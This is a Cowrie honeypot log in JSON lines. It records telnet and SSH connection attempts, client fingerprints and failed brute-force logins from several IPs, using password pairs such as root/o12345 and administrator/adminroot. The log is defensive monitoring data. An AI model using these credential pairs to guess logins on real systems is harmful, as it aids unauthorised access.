{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":49516,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a36106d6909","protocol":"telnet","message":"New connection: 20.197.3.193:49516 (10.17.0.5:23) [session: 2a36106d6909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:50.612697Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":49524,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bed84eaf514","protocol":"telnet","message":"New connection: 20.197.3.193:49524 (10.17.0.5:23) [session: 8bed84eaf514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:50.781316Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":49508,"dst_ip":"10.17.0.5","dst_port":23,"session":"269a64d3f7b6","protocol":"telnet","message":"New connection: 20.197.3.193:49508 (10.17.0.5:23) [session: 269a64d3f7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:51.551844Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":44668,"dst_ip":"159.203.135.109","dst_port":22,"session":"938d483c4292","protocol":"ssh","message":"New connection: 185.40.30.168:44668 (159.203.135.109:22) [session: 938d483c4292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:51.784082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:51.788666Z","src_ip":"185.40.30.168","session":"938d483c4292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:51.924797Z","src_ip":"185.40.30.168","session":"938d483c4292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"o12345","message":"login attempt [root/o12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:52.480808Z","src_ip":"185.40.30.168","session":"938d483c4292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:53.612200Z","src_ip":"185.40.30.168","session":"938d483c4292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":56038,"dst_ip":"10.17.0.5","dst_port":23,"session":"11dd0e5484a3","protocol":"telnet","message":"New connection: 20.197.3.193:56038 (10.17.0.5:23) [session: 11dd0e5484a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:57.235312Z"}
{"eventid":"cowrie.session.closed","duration":31.379003047943115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:01.679697Z","src_ip":"20.197.3.193","session":"873dc9ea480d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":56052,"dst_ip":"10.17.0.5","dst_port":23,"session":"35291b89d013","protocol":"telnet","message":"New connection: 20.197.3.193:56052 (10.17.0.5:23) [session: 35291b89d013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:05.056455Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":38308,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0ff85977485","protocol":"telnet","message":"New connection: 20.197.3.193:38308 (10.17.0.5:23) [session: c0ff85977485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:08.472543Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":38320,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a4b45e10173","protocol":"telnet","message":"New connection: 20.197.3.193:38320 (10.17.0.5:23) [session: 7a4b45e10173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:14.970319Z"}
{"eventid":"cowrie.session.closed","duration":31.262170791625977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:21.298606Z","src_ip":"20.197.3.193","session":"d959c11259d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652056217193604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:21.433236Z","src_ip":"20.197.3.193","session":"8bed84eaf514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39721703529358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:22.009777Z","src_ip":"20.197.3.193","session":"2a36106d6909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03193688392639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:22.583668Z","src_ip":"20.197.3.193","session":"269a64d3f7b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32836,"dst_ip":"159.203.135.109","dst_port":22,"session":"e688ac498e3c","protocol":"ssh","message":"New connection: 159.203.92.129:32836 (159.203.135.109:22) [session: e688ac498e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:22.637781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:22.739436Z","src_ip":"159.203.92.129","session":"e688ac498e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:22.743221Z","src_ip":"159.203.92.129","session":"e688ac498e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"adminroot","message":"login attempt [administrator/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:23.385757Z","src_ip":"159.203.92.129","session":"e688ac498e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:24.743862Z","src_ip":"159.203.92.129","session":"e688ac498e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":51854,"dst_ip":"10.17.0.5","dst_port":23,"session":"497b16f01b22","protocol":"telnet","message":"New connection: 20.197.3.193:51854 (10.17.0.5:23) [session: 497b16f01b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:25.353253Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":51880,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a83cad4881","protocol":"telnet","message":"New connection: 20.197.3.193:51880 (10.17.0.5:23) [session: b7a83cad4881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:28.736863Z"}
{"eventid":"cowrie.session.closed","duration":31.729617595672607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:28.964781Z","src_ip":"20.197.3.193","session":"11dd0e5484a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":51864,"dst_ip":"10.17.0.5","dst_port":23,"session":"9925d9e1492f","protocol":"telnet","message":"New connection: 20.197.3.193:51864 (10.17.0.5:23) [session: 9925d9e1492f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:29.727996Z"}
{"eventid":"cowrie.session.closed","duration":31.38043713569641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:36.436757Z","src_ip":"20.197.3.193","session":"35291b89d013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.624568700790405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:39.096986Z","src_ip":"20.197.3.193","session":"c0ff85977485","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":52082,"dst_ip":"159.203.135.109","dst_port":22,"session":"c08fd6dad121","protocol":"ssh","message":"New connection: 185.40.30.168:52082 (159.203.135.109:22) [session: c08fd6dad121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:46.222839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:46.227989Z","src_ip":"185.40.30.168","session":"c08fd6dad121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:46.360856Z","src_ip":"185.40.30.168","session":"c08fd6dad121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.627505779266357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:46.597687Z","src_ip":"20.197.3.193","session":"7a4b45e10173","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCDEFGH","message":"login attempt [root/ABCDEFGH] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:46.937185Z","src_ip":"185.40.30.168","session":"c08fd6dad121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:48.071716Z","src_ip":"185.40.30.168","session":"c08fd6dad121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":26548,"dst_ip":"159.203.135.109","dst_port":22,"session":"57192f0e3354","protocol":"ssh","message":"New connection: 125.166.19.90:26548 (159.203.135.109:22) [session: 57192f0e3354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:51.699121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:51.704953Z","src_ip":"125.166.19.90","session":"57192f0e3354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:51.980826Z","src_ip":"125.166.19.90","session":"57192f0e3354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"1q2w3e4r","message":"login attempt [user01/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:54.679317Z","src_ip":"125.166.19.90","session":"57192f0e3354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:56.619928Z","src_ip":"125.166.19.90","session":"57192f0e3354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.343420028686523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:56.696556Z","src_ip":"20.197.3.193","session":"497b16f01b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132800817489624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:32:59.869548Z","src_ip":"20.197.3.193","session":"b7a83cad4881","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.387942790985107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:00.115823Z","src_ip":"20.197.3.193","session":"9925d9e1492f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50266,"dst_ip":"159.203.135.109","dst_port":22,"session":"782c3ed052b5","protocol":"ssh","message":"New connection: 159.203.92.129:50266 (159.203.135.109:22) [session: 782c3ed052b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:07.230463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:07.235111Z","src_ip":"159.203.92.129","session":"782c3ed052b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:07.239857Z","src_ip":"159.203.92.129","session":"782c3ed052b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"cer-root","message":"login attempt [administrator/cer-root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:07.252547Z","src_ip":"159.203.92.129","session":"782c3ed052b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:08.311447Z","src_ip":"159.203.92.129","session":"782c3ed052b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":47004,"dst_ip":"159.203.135.109","dst_port":22,"session":"96dc2cb9ff26","protocol":"ssh","message":"New connection: 185.40.30.168:47004 (159.203.135.109:22) [session: 96dc2cb9ff26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:38.369455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:38.374722Z","src_ip":"185.40.30.168","session":"96dc2cb9ff26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:38.505097Z","src_ip":"185.40.30.168","session":"96dc2cb9ff26","protocol":"ssh"}
